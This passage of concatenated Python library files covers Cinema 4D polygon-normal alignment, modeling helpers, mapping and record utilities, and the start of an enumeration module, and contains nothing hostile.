# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
'''
This module implements a function for checking the alignment of the
normals of a polygon-object.
'''
import c4d
import math
from .utils import PolygonObjectInfo
def test_object_normals(op, info=None, logger=None):
''' Tests the normals of the :class:`c4d.PolygonObject` *op* if they're
pointing to the in or outside of the object. Returns a list of boolean
variables where each index defines wether the associated polygon's
normal is pointing into the right direction or not.
The algorithm works best on completely closed shapes with one
segment only. The PolygonObject should also be valid, therefore not
more than two polygons per edge, etc. The results might be incorrect
with an invalid mesh structure.
:param op: The :class:`c4d.PolygonObject` instance to test.
:param info: A :class:`~nr.c4d.utils.PolygonObjectInfo` instance for
the passed object, or None to generate on demand. If an info object
is passed, it must support the following data: ``polygons``,
``normals`` and ``midpoints``.
:param logger: An object implementing the logger interface. This
is optional and only use for debug purposes.
:return: A :class:`list` of :class:`bool` values and the *info*
object that was passed or has been generated. '''
if not info:
info = PolygonObjectInfo(op, polygons=True, normals=True, midpoints=True)
if info.polycount <= 0:
return ([], None)
collider = c4d.utils.GeRayCollider()
if not collider.Init(op):
raise RuntimeError('GeRayCollider could not be initialized.')
mg = op.GetMg()
mp = op.GetMp()
size = op.GetRad()
# Define three camera position for the object. We could simply use
# one if there wouldn't be the special case where a polygon's normal
# is exactly in an angle of 90°, where we can not define wether the
# normal is correctly aligned or not.
maxp = mp + size + c4d.Vector(size.GetLength() * 2)
cam1 = c4d.Vector(maxp.x, 0, 0)
cam2 = c4d.Vector(0, maxp.y, 0)
cam3 = c4d.Vector(0, 0, maxp.z)
# Check each polygon from each camera position for the angle between
# them. If one of the angles is greater than 90°, the face is pointing
# into the wrong direction.
result = []
iterator = enumerate(zip(info.normals, info.midpoints))
for index, (normal, midpoint) in iterator:
normal_aligned = False
for cam in [cam1, cam2, cam3]:
# Compute the direction vector from the cam to the midpoint
# of the polygon and the ray length to garuantee a hit with
# the polygon.
direction = (midpoint - cam)
length = direction.GetLengthSquared()
direction.Normalize()
# Compute the intersections point from the cam to the midpoint
# of the polygon.
collider.Intersect(cam, direction, length)
intersections = {}
for i in xrange(collider.GetIntersectionCount()):
isect = collider.GetIntersection(i)
# The GeRayCollider class may yield doubled intersections,
# we filter them out this way.
if isect['face_id'] not in intersections:
intersections[isect['face_id']] = isect
# Sort the intersections by distance to the cam.
intersections = sorted(
intersections.values(),
key=lambda x: x['distance'])
# Find the intersection with the current polygon and how
# many polygons have been intersected before this polygon
# was intersection.
isect_index = -1
isect = None
for i, isect in enumerate(intersections):
if isect['face_id'] == index:
isect_index = i
break
# We actually *have* to find an intersection, it would be
# a strange error if we wouldn't have found one.
if isect_index < 0:
if logger:
message = "No intersection with face %d from cam %s"
logger.warning(message % (index, cam))
continue
angle = c4d.utils.VectorAngle(normal, direction * -1)
# If there has been one intersection with another face before
# the intersection with the current polygon, the polygon is
# assumed to be intended to face away from the camera. Same for
# all other odd numbers of intersection that have occured
# before the intersection with the current face.
if isect_index % 2:
angle = (math.pi / 2) - angle
if not xor(isect['backface'], isect_index % 2):
normal_aligned = True
result.append(normal_aligned)
return result, info
def align_object_normals(op, info=None, logger=None, normal_info=None):
''' Align the normals of the :class:`c4d.PolygonObject` *op* to point to
the outside of the object. The same algorithmic restrictions as for
:func:`test_object_normals` apply. The parameters are also the same.
You can pass an already computed result of :func:`test_object_normals`
for *normal_info*. '''
if normal_info is None:
normal_info, info = test_object_normals(op, info, logger)
for i, state in enumerate(normal_info):
if not state:
p = info.polygons[i]
if p.c == p.d:
p.a, p.b, p.c = p.c, p.b, p.a
p.d = p.c
else:
p.a, p.b, p.c, p.d = p.d, p.c, p.b, p.a
op.SetPolygon(i, p)
op.Message(c4d.MSG_CHANGE)
<file_sep>/lib/nr.types/src/nr/types/named.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
from .map import OrderedDict
import six
class _NamedMeta(type):
"""
Metaclass for the #Named class.
"""
def __init__(self, name, bases, data):
# Inherit the annotations of the base classes, in the correct order.
annotations = getattr(self, '__annotations__', {})
if isinstance(annotations, (list, tuple)):
for i, item in enumerate(annotations):
if len(item) == 3:
setattr(self, item[0], item[2])
item = item[:2]
annotations[i] = item
annotations = OrderedDict(annotations)
new_annotations = OrderedDict()
for base in bases:
base_annotations = getattr(base, '__annotations__', {})
if isinstance(base_annotations, (list, tuple)):
base_annotations = OrderedDict(base_annotations)
for key, value in base_annotations.items():
if key not in annotations:
new_annotations[key] = value
new_annotations.update(annotations)
self.__annotations__ = new_annotations
super(_NamedMeta, self).__init__(name, bases, data)
def __getattr__(self, name):
if self.__bases__ == (object,) and name == 'Initializer':
return Initializer
raise AttributeError(name)
class Named(six.with_metaclass(_NamedMeta)):
"""
A base-class similar to #typing.NamedTuple, but mutable. Fields can be
specified using Python 3.6 class-member annotations or by setting the
`__annotations__` field to a list where each item is a member declaration
that consists of two or three items where 1) is the name, 2) is the
annotated value (type) and 3) is the default value for the field.
Note that you can access the #Initializer class via this class, but not
through subclasses.
```python
from nr.types import Named
class Person(Named):
__annotations__ = [
('mail', str),
('name', str, Named.Initializer(random_name)),
('age', int, 0)
]
class Person(Named):
# Python 3.6+
mail: str
name: str = Named.Initializer(random_name)
age: int = 0
```
"""
def __init__(self, *args, **kwargs):
annotations = getattr(self, '__annotations__', {})
if len(args) > len(annotations):
raise TypeError('{}() expected {} positional arguments, got {}'
.format(type(self).__name__, len(annotations), len(args)))
if isinstance(annotations, (list, tuple)):
annotations = OrderedDict(annoations)
for arg, (key, ant) in zip(args, annotations.items()):
setattr(self, key, arg)
if key in kwargs:
raise TypeError('{}() duplicate value for argument "{}"'
.format(type(self).__name__, key))
for key, ant in annotations.items():
if key in kwargs:
setattr(self, key, kwargs.pop(key))
else:
try:
value = getattr(self, key)
except AttributeError:
raise TypeError('{}() missing argument "{}"'
.format(type(self).__name__, key))
if isinstance(value, Initializer):
setattr(self, key, value.func())
for key in kwargs.keys():
raise TypeError('{}() unexpected keyword argument "{}"'
.format(type(self).__name__, key))
def __repr__(self):
members = ', '.join('{}={!r}'.format(k, getattr(self, k)) for k in self.__annotations__)
return '{}({})'.format(type(self).__name__, members)
def __iter__(self):
for key in self.__annotations__:
yield getattr(self, key)
def asdict(self):
return dict((k, getattr(self, k)) for k in self.__annotations__)
class Initializer:
"""
Use this for the default value of annotated fields to wrap a function that
will be called to retrieve the default value for the field. Works only with
#Named as the base class.
"""
def __init__(self, func):
self.func = func
<file_sep>/lib/nr.types/src/nr/types/map.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
__all__ = ['OrderedDict', 'ObjectAsMap', 'MapAsObject', 'ChainMap', 'HashDict']
import six
from . import generic
try:
from collections import OrderedDict
except ImportError:
from ._ordereddict import OrderedDict
if six.PY2:
_can_iteritems = lambda x: hasattr(x, 'iteritems')
_can_iterkeys = lambda x: hasattr(x, 'keys')
else:
_can_iteritems = lambda x: hasattr(x, 'items')
_can_iterkeys = lambda x: hasattr(x, 'keys')
class ObjectAsMap(object):
"""
This class wraps an object and exposes its members as mapping.
"""
def __new__(cls, obj):
if isinstance(obj, MapAsObject):
return obj._MapAsObject__mapping
return super(ObjectAsMap, cls).__new__(cls)
def __init__(self, obj):
self.__obj = obj
def __repr__(self):
return 'ObjectAsMap({!r})'.format(self.__obj)
def __iter__(self):
return self.keys()
def __len__(self):
return len(dir(self.__obj))
def __contains__(self, key):
return hasattr(self.__obj, key)
def __getitem__(self, key):
try:
return getattr(self.__obj, key)
except AttributeError:
raise KeyError(key)
def __setitem__(self, key, value):
setattr(self.__obj, key, value)
def __delitem__(self, key):
delattr(self.__obj, key)
def keys(self):
return iter(dir(self.__obj))
def values(self):
return (getattr(self.__obj, k) for k in dir(self.__obj))
def items(self):
return ((k, getattr(self.__obj, k)) for k in dir(self.__obj))
def get(self, key, default=None):
return getattr(self.__obj, key, default)
def setdefault(self, key, value):
try:
return getattr(self.__obj, key)
except AttributeError:
setattr(self.__obj, key, value)
return value
class MapAsObject(object):
"""
This class wraps a dictionary and exposes its values as members.
"""
def __new__(cls, mapping, name=None):
if isinstance(mapping, ObjectAsMap):
return mapping._ObjectAsMap__obj
return super(MapAsObject, cls).__new__(cls)
def __init__(self, mapping, name=None):
self.__mapping = mapping
self.__name = name
def __getattribute__(self, key):
if key.startswith('_MapAsObject__'):
return super(MapAsObject, self).__getattribute__(key)
try:
return self.__mapping[key]
except KeyError:
raise AttributeError(key)
def __setattr__(self, key, value):
if key.startswith('_MapAsObject__'):
super(MapAsObject, self).__setattr__(key, value)
else:
self.__mapping[key] = value
def __delattr__(self, key):
if key.startswith('_MapAsObject__'):
super(MapAsObject, self).__delattr__(key)
else:
del self.__mapping[key]
def __dir__(self):
return sorted(self.__mapping.keys())
def __repr__(self):
if self.__name:
return '<MapAsObject name={!r}>'.format(self.__name)
else:
return '<MapAsObject {!r}>'.format(self.__mapping)
class ChainMap(object):
"""
A dictionary that wraps a list of dictionaries. The dictionaries passed
into the #ChainMap will not be mutated. Setting and deleting values will
happen on the first dictionary passed.
"""
def __init__(self, *dicts):
if not dicts:
raise ValueError('need at least one argument')
self._major = dicts[0]
self._dicts = list(dicts)
self._deleted = set()
self._in_repr = False
def __contains__(self, key):
if key not in self._deleted:
for d in self._dicts:
if key in d:
return True
return False
def __getitem__(self, key):
if key not in self._deleted:
for d in self._dicts:
try: return d[key]
except KeyError: pass
raise KeyError(key)
def __setitem__(self, key, value):
self._major[key] = value
self._deleted.discard(key)
def __delitem__(self, key):
if key not in self:
raise KeyError(key)
self._major.pop(key, None)
self._deleted.add(key)
def __iter__(self):
return six.iterkeys(self)
def __len__(self):
return sum(1 for x in self.keys())
def __repr__(self):
if self._in_repr:
return 'ChainMap(...)'
else:
self._in_repr = True
try:
return 'ChainMap({})'.format(dict(six.iteritems(self)))
finally:
self._in_repr = False
def __eq__(self, other):
return dict(self.items()) == other
def __ne__(self, other):
return not (self == other)
def pop(self, key, default=NotImplemented):
if key not in self:
if default is NotImplemented:
raise KeyError(key)
return default
self._major.pop(key, None)
self._deleted.add(key)
def popitem(self):
if self._major:
key, value = self._major.popitem()
self._deleted.add(key)
return key, value
for d in self._dicts:
for key in six.iterkeys(d):
if key not in self._deleted:
self._deleted.add(key)
return key, d[key]
raise KeyError('popitem(): dictionary is empty')
def clear(self):
self._major.clear()
self._deleted.update(six.iterkeys(self))
def copy(self):
return type(self)(*self._dicts[1:])
def setdefault(self, key, value=None):
try:
return self[key]
except KeyError:
self[key] = value
return value
def update(self, E, *F):
if _can_iteritems(E):
for k, v in six.iteritems(E):
self[k] = v
elif _can_iterkeys(E):
for k in six.iterkeys(E):
self[k] = E[k]
elif hasattr(E, 'items'):
E = E.items()
for k, v in E:
self[k] = v
for Fv in F:
for k, v in six.iteritems(Fv):
self[k] = v
def keys(self):
seen = set()
for d in self._dicts:
for key in six.iterkeys(d):
if key not in seen and key not in self._deleted:
yield key
seen.add(key)
def values(self):
seen = set()
for d in self._dicts:
for key, value in six.iteritems(d):
if key not in seen and key not in self._deleted:
yield value
seen.add(key)
def items(self):
seen = set()
for d in self._dicts:
for key, value in six.iteritems(d):
if key not in seen and key not in self._deleted:
yield key, value
seen.add(key)
if six.PY2:
iterkeys = keys
keys = lambda self: list(self.iterkeys())
itervalues = values
values = lambda self: list(self.itervalues())
iteritems = items
items = lambda self: list(self.iteritems())
class HashDict(generic.Generic['key_hash']):
"""
This dictionary type can be specialized by specifying a hash function,
allowing it to be used even with unhashable types as keys.
Example:
```python
# Specialization through subclassing:
class MyDict(HashDict):
def key_hash(self, key):
return ...
# Explicit type specialization:
def my_key_hash(x):
return ...
MyDict = HashDict[my_key_hash]
```
"""
class KeyWrapper(object):
def __init__(self, key, hash_func):
self.key = key
self.hash_func = hash_func
def __repr__(self):
return repr(self.key)
def __hash__(self):
return self.hash_func(self.key)
def __eq__(self, other):
return self.key == other.key
def __ne__(self, other):
return self.key != other.key
def __init__(self):
generic.assert_initialized(self)
self._dict = {}
def __repr__(self):
return repr(self._dict)
def __getitem__(self, key):
key = self.KeyWrapper(key, self.key_hash)
return self._dict[key]
def __setitem__(self, key, value):
key = self.KeyWrapper(key, self.key_hash)
self._dict[key] = value
def __delitem__(self, key):
key = self.KeyWrapper(key, self.key_hash)
del self._dict[key]
def __iter__(self):
return self.iterkeys()
def __contains__(self, key):
return self.KeyWrapper(key, self.key_hash) in self._dict
def items(self):
return list(self.iteritems())
def keys(self):
return list(self.iterkeys())
def values(self):
return self._dict.values()
def iteritems(self):
for key, value in self._dict.iteritems():
yield key.key, value
def iterkeys(self):
for key in self._dict.keys():
yield key.key
def itervalues(self):
return self._dict.itervalues()
def get(self, key, *args):
key = self.KeyWrapper(key, self.key_hash)
return self._dict.get(key, *args)
def setdefault(self, key, value):
key = self.KeyWrapper(key, self.key_hash)
return self._dict.setdefault(key, value)
<file_sep>/lib/nr.c4d/src/nr/c4d/modeling.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import c4d
import collections
from .utils import UndoHandler, find_root
class Error(Exception):
'''
This exception is generally raised if an exception in a modeling
function occurred. For instance, if the required preconditions for
the "Current State to Object" command are not met, it will return no
object in which case this exception is raised.
'''
class Kernel(object):
'''
The *Kernel* class provides all modeling functionality. Some
modeling functions require a document to operate in, others may
even require it to be the active Cinema 4D document as it may use
:func:`c4d.CallCommand` to achieve its goal. Yet, the *Kernel*
does not necessarily be initialized with a document. You will be
able to use all functions that do not require it. Some methods are
even static as they require no specialised context.
To create a temporary document, you should use the
:class:`nr.c4d.utils.TemporaryDocument` class.
'''
def __init__(self, doc=None):
super(Kernel, self).__init__()
self._doc = doc
if doc is not None and not isinstance(doc, c4d.documents.BaseDocument):
raise TypeError('<doc> must be BaseDocument', type(doc))
@staticmethod
def triangulate(obj):
'''
Triangulates the PolygonObject *obj* in place.
:raise TypeError: If *obj* is not a PolygonObject.
:raise Error: When an unexpected error occurs.
'''
if not isinstance(obj, c4d.PolygonObject):
raise TypeError("<obj> must be a PolygonObject", type(obj))
result = c4d.utils.SendModelingCommand(c4d.MCOMMAND_TRIANGULATE, [obj])
if not result:
raise Error("Triangulate failed")
@staticmethod
def untriangulate(obj, angle_rad=None):
'''
Untriangulates the PolygonObject *obj* in place.
:param obj: The :class:`c4d.PolygonObject` to untriangulate.
:param angle_rad: The untriangulate angle radius. Defaults to 0.1°.
:raise TypeError: If *obj* is not a PolygonObject.
:raise Error: When an unexpected error occurs.
'''
if not isinstance(obj, c4d.PolygonObject):
raise TypeError("<obj> must be a PolygonObject", type(obj))
if angle_rad is None:
angle_rad = c4d.utils.Rad(0.1)
bc = c4d.BaseContainer()
bc.SetFloat(c4d.MDATA_UNTRIANGULATE_ANGLE_RAD, angle_rad)
result = c4d.utils.SendModelingCommand(
c4d.MCOMMAND_UNTRIANGULATE, [obj], doc=None, bc=bc)
if not result:
raise Error("Untriangulate failed")
@staticmethod
def optimize(obj, tolerance=0.01, points=True, polygons=True,
unused_points=True):
'''
Optimizes the PolygonObject *obj* using the Cinema 4D
"Optimize" command. The parameters to this method reflect
the parameters of the Cinema 4D command.
:raise TypeError: If *obj* is not a PolygonObject.
:raise Error: When an unexpected error occurs.
'''
if not isinstance(obj, c4d.PolygonObject):
raise TypeError("<obj> must be a PolygonObject", type(obj))
bc = c4d.BaseContainer()
bc.SetFloat(c4d.MDATA_OPTIMIZE_TOLERANCE, tolerance)
bc.SetBool(c4d.MDATA_OPTIMIZE_POINTS, points)
bc.SetBool(c4d.MDATA_OPTIMIZE_POLYGONS, polygons)
bc.SetBool(c4d.MDATA_OPTIMIZE_UNUSEDPOINTS, unused_points)
result = c4d.utils.SendModelingCommand(
c4d.MCOMMAND_OPTIMIZE, [obj], doc=None, bc=bc)
if not result:
raise Error("Optimize failed")
def _assert_doc(self, method):
'''
Private. Raises a :class:`RuntimeError` if the *Kernel* was
not initialized with a Cinema 4D document. '''
if self._doc is None:
raise RuntimeError(
"Kernel method '{0}' requires a Cinema 4D document but "
"the Kernel was initialized with None".format(method))
assert isinstance(self._doc, c4d.documents.BaseDocument)
def current_state_to_object(self, obj):
'''
Executes the Cinema 4D "Current State to Object" on *obj* and
returns the resulting object. The object will be temporarily
moved into the document the *Kernel* was initialized with. If
you want to keep links (eg. texture tag material links), the
*Kernel* should have been initialized with the objects document.
.. note:: All parent objects of *obj* will be moved with it as
it may have influence on the outcome (eg. deformers applied
on a hierarchy in a Null-Object).
:requires:
- The *Kernel* must be initialized with a document.
:raise RuntimeError: If the *Kernel* was not initialized
with a document.
:raise TypeError: If *obj* is not a BaseObject.
:raise Error: When an unexpected error occurs.
'''
self._assert_doc('current_state_to_object')
if not isinstance(obj, c4d.BaseObject):
raise TypeError("<obj> must be a BaseObject", type(obj))
doc = self._doc
root = find_root(obj)
with UndoHandler() as undo:
undo.location(root)
root.Remove()
doc.InsertObject(root)
result = c4d.utils.SendModelingCommand(
c4d.MCOMMAND_CURRENTSTATETOOBJECT, [obj], doc=doc)
if not result:
raise Error("Current State to Object failed")
return result[0]
def connect_objects(self, objects):
'''
Joins all PolygonObjects and SplineObjects the list *objects*
into a single object using the Cinema 4D "Connect Objects"
command.
This method will move *all* objects to the internal document
temporarily before joining them into one object.
:param objects: A list of :class:`c4d.BaseObject`.
:return: The new connected object.
:requires:
- The *Kernel* must be initialized with a document.
:raise RuntimeError: If the *Kernel* was not initialized
with a document.
:raise TypeError:
- If *objects* is not iterable
- If an element of *objects* is not a BaseObject
:raise Error: When an unexpected error occurs.
.. important:: The returned object axis is located at the world
center. If you want to mimic the real "Connect Objects" command
in that it positions the axis at the location of the first
object in the list, use the :func:`nr.c4d.utils.move_axis`
function.
'''
self._assert_doc('connect_objects')
if not isinstance(objects, collections.Iterable):
raise TypeError("<objects> must be iterable", type(objects))
doc = self._doc
root = c4d.BaseObject(c4d.Onull)
with UndoHandler() as undo:
undo.location(root)
doc.InsertObject(root)
# Move all objects under the new root object temporarily.
for obj in objects:
if not isinstance(obj, c4d.BaseObject):
message = "element of <objects> must be BaseObject"
raise TypeError(message, type(obj))
undo.location(obj)
undo.matrix(obj)
mg = obj.GetMg()
obj.Remove()
obj.InsertUnder(root)
obj.SetMl(mg)
result = c4d.utils.SendModelingCommand(
c4d.MCOMMAND_JOIN, root.GetChildren(), doc=doc)
if not result:
raise Error("Connect Objects failed")
result[0].SetMl(c4d.Matrix())
return result[0]
def polygon_reduction(self, obj, strength, meshfactor=1000,
coplanar=True, boundary=True, quality=False):
'''
Uses the Cinema 4D "Polygon Reduction" deformer to create a
copy of *obj* with reduced polygon count. The parameters to
this function reflect the parameters in the "Polygon Reduction"
deformer. :meth:`current_state_to_object` is used to obtain
the deformed state of *obj*.
:requires:
- The *Kernel* must be initialized with a document.
:raise RuntimeError: If the *Kernel* was not initialized with a document.
:raise TypeError: If *obj* is not a BaseObject.
:raise Error: When an unexpected error occurs.
.. important:: In rare cases, the returned object can be a null
object even though the input object was a polygon object. In that
case, the null object contains the reduced polygon object as a
child.
'''
self._assert_doc('polygon_reduction')
if not isinstance(obj, c4d.BaseObject):
raise TypeError("<obj> must be BaseObject", type(obj))
root = c4d.BaseObject(c4d.Onull)
deformer = c4d.BaseObject(c4d.Opolyreduction)
deformer.InsertUnder(root)
deformer[c4d.POLYREDUCTIONOBJECT_STRENGTH] = strength
deformer[c4d.POLYREDUCTIONOBJECT_MESHFACTOR] = meshfactor
deformer[c4d.POLYREDUCTIONOBJECT_COPLANAR] = coplanar
deformer[c4d.POLYREDUCTIONOBJECT_BOUNDARY] = boundary
deformer[c4d.POLYREDUCTIONOBJECT_QUALITY] = quality
doc = self._doc
with UndoHandler() as undo:
undo.location(root)
undo.location(obj)
undo.matrix(obj)
doc.InsertObject(root)
obj.Remove()
obj.InsertAfter(deformer)
root = self.current_state_to_object(root)
# Root will definetely be a Null-Object, so we need to go
# down one object at least.
result = root.GetDown()
if not result:
raise Error("Polygon Reduction failed")
result.Remove()
return result
def boole(self, obja, objb, boole_type, high_quality=True,
single_object=False, hide_new_edges=False, break_cut_edges=False,
sel_cut_edges=False, optimize_level=0.01):
'''
Uses the Cinema 4D "Boole Object" to perform a boolean
volumetric operation on *obja* and *objb* and returns the
resulting object hierarchy. The method parameters reflect
the "Boole Object" parameters.
:param obja: The first object for the boole operation.
:param objb: The second object for the boole operation.
:param boole_type: One of the boole modes:
- :data:`c4d.BOOLEOBJECT_TYPE_UNION`
- :data:`c4d.BOOLEOBJECT_TYPE_SUBTRACT`
- :data:`c4d.BOOLEOBJECT_TYPE_INTERSECT`
- :data:`c4d.BOOLEOBJECT_TYPE_WITHOUT`
:param high_quality: See Boole Object documentation.
:param single_object: See Boole Object documentation.
:param hide_new_edges: See Boole Object documentation.
:param break_cut_edges: See Boole Object documentation.
:param sel_cut_edges: See Boole Object documentation.
:param optimize_level: See Boole Object documentation.
:return: The result of the Boole operation converted using
:meth:`current_state_to_object`.
:requires:
- The *Kernel* must be initialized with a document.
:raise RuntimeError: If the *Kernel* was not initialized
with a document.
:raise TypeError: If *obja* or *objb* is not a BaseObject.
:raise ValueError: If *boole_type* is invalid.
:raise Error: When an unexpected error occurs.
'''
self._assert_doc('boole')
choices = (
c4d.BOOLEOBJECT_TYPE_UNION, c4d.BOOLEOBJECT_TYPE_SUBTRACT,
c4d.BOOLEOBJECT_TYPE_INTERSECT, c4d.BOOLEOBJECT_TYPE_WITHOUT)
if boole_type not in choices:
raise ValueError("unexpected value for <boole_type>", boole_type)
if not isinstance(obja, c4d.BaseObject):
raise TypeError("<obja> must be BaseObject", type(obja))
if not isinstance(obja, c4d.BaseObject):
raise TypeError("<objb> must be BaseObject", type(objb))
boole = c4d.BaseObject(c4d.Oboole)
boole[c4d.BOOLEOBJECT_TYPE] = boole_type
boole[c4d.BOOLEOBJECT_HIGHQUALITY] = high_quality
boole[c4d.BOOLEOBJECT_SINGLE_OBJECT] = single_object
boole[c4d.BOOLEOBJECT_HIDE_NEW_EDGES] = hide_new_edges
boole[c4d.BOOLEOBJECT_BREAK_CUT_EDGES] = break_cut_edges
boole[c4d.BOOLEOBJECT_SEL_CUT_EDGES] = sel_cut_edges
boole[c4d.BOOLEOBJECT_OPTIMIZE_LEVEL] = optimize_level
with UndoHandler() as undo:
undo.location(boole)
undo.location(obja)
undo.location(objb)
undo.matrix(obja)
undo.matrix(objb)
mga, mgb = obja.GetMg(), objb.GetMg()
obja.Remove(), objb.Remove()
obja.InsertUnder(boole), objb.InsertUnderLast(boole)
obja.SetMg(mga), objb.SetMg(mgb)
self._doc.InsertObject(boole)
return self.current_state_to_object(boole)
<file_sep>/lib/nr.types/src/nr/types/enum.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""
This module implements a simple framework for creating C-like enumerations in
Python using classes. Simply inherit from the #Enumeration class.
```python
>>> class Color(enum.Enumeration):
... red = 0
... green = 1
... blue = 2
>>> print Color.red
<Color: red>
>>> print Color('green')
<Color: green>
>>> print Color(2)
<Color: blue>
>>> print Color('red') is Color.red
True
>>> print Color.blue.name
blue
>>> Color(343)
Traceback (most recent call last):
File "test.py", line 10, in <module>
Color(343)
File "C:\\repositories\\py-nr.utils\\nr\\utils\\enum.py", line 159, in __new__
raise NoSuchEnumerationValue(cls.__name__, value)
nr.utils.enum.NoSuchEnumerationValue: ('Color', 343)
```
If you want to disable that an invalid enumeration value will raise an error,
a `__fallback__` value can be specified on class-level.
```python
>>> class Color(enum.Enumeration):
... red = 0
... green = 1
... blue = 2
... __fallback__ = -1
>>> print Color(42)
<Color -invalid->
>>> print Color(7).value
-1
>>> print Color(16).name
-invalid-
```
You can also iterate over an enumeration class. Note that the order of the
items yielded is value-sorted and the order of declaration does not play any
role.
```python
>>> class Color(enum.Enumeration):
... red = 0
... green = 1
... blue = 2
... __fallback__ = -1
>>> for color in Color:
... print color
<Color: red>
<Color: green>
<Color: blue>
```
You can add data or actual methods to an enumeration class by wrapping it with
the #Data class.
```python
class Color(enum.Enumeration):
red = 0
green = 1
blue = 2
@enum.Data
@property
def astuple(self):
if self == Color.red:
return (1, 0, 0)
elif self == Color.green:
return (0, 1, 0)
elif self == Color.blue:
return (0, 0, 1)
else:
assert False
print Color.red.astuple
# (1, 0, 0)
```
"""
import ctypes
import six
import sys
class NoSuchEnumerationValue(ValueError):
r""" Raised when an Enumeration object was attempted to be
created from an integer value but there was no enumeration
object for this value.
Note that you can specify ``__fallback_value__`` on an
Enumeration class to not let it raise an exception. """
pass
class Data(object):
"""
Small class that can be used to specify data on an enumeration that should
not be converted and interpreted as an enumeration value.
```python
class Color(enum.Enumeration):
red = 0
green = 1
blue = 2
@enum.Data
@property
def astuple(self):
if self == Color.red:
return (1, 0, 0)
elif self == Color.green:
return (0, 1, 0)
elif self == Color.blue:
return (0, 0, 1)
else:
assert False
print Color.red.astuple
# (1, 0, 0)
```
This class can be subclassed to add new sugar to the already very sweet pie.
"""
def __init__(self, value):
super(Data, self).__init__()
self.value = value
def unpack(self):
return self.value
class _EnumerationMeta(type):
"""
This is the meta class for the #Enumeration base class which handles the
automatic conversion of integer values to instances of the #Enumeration
class. There are no other types allowed other than int or #Data which
will be unpacked on the Enumeration class.
If a `__fallback__` was defined on class-level as an integer, the
#Enumeration constructor will not raise a #NoSuchEnumerationValue exception
if the passed value did not match the enumeration values, but instead return
that fallback value.
This fallback is not taken into account when attempting to create a new
#Enumeration object by a string.
"""
_values = None
__fallback__ = None
def __new__(cls, name, bases, data):
# Unpack all Data objects and create a dictionary of
# values that will be converted to instances of the
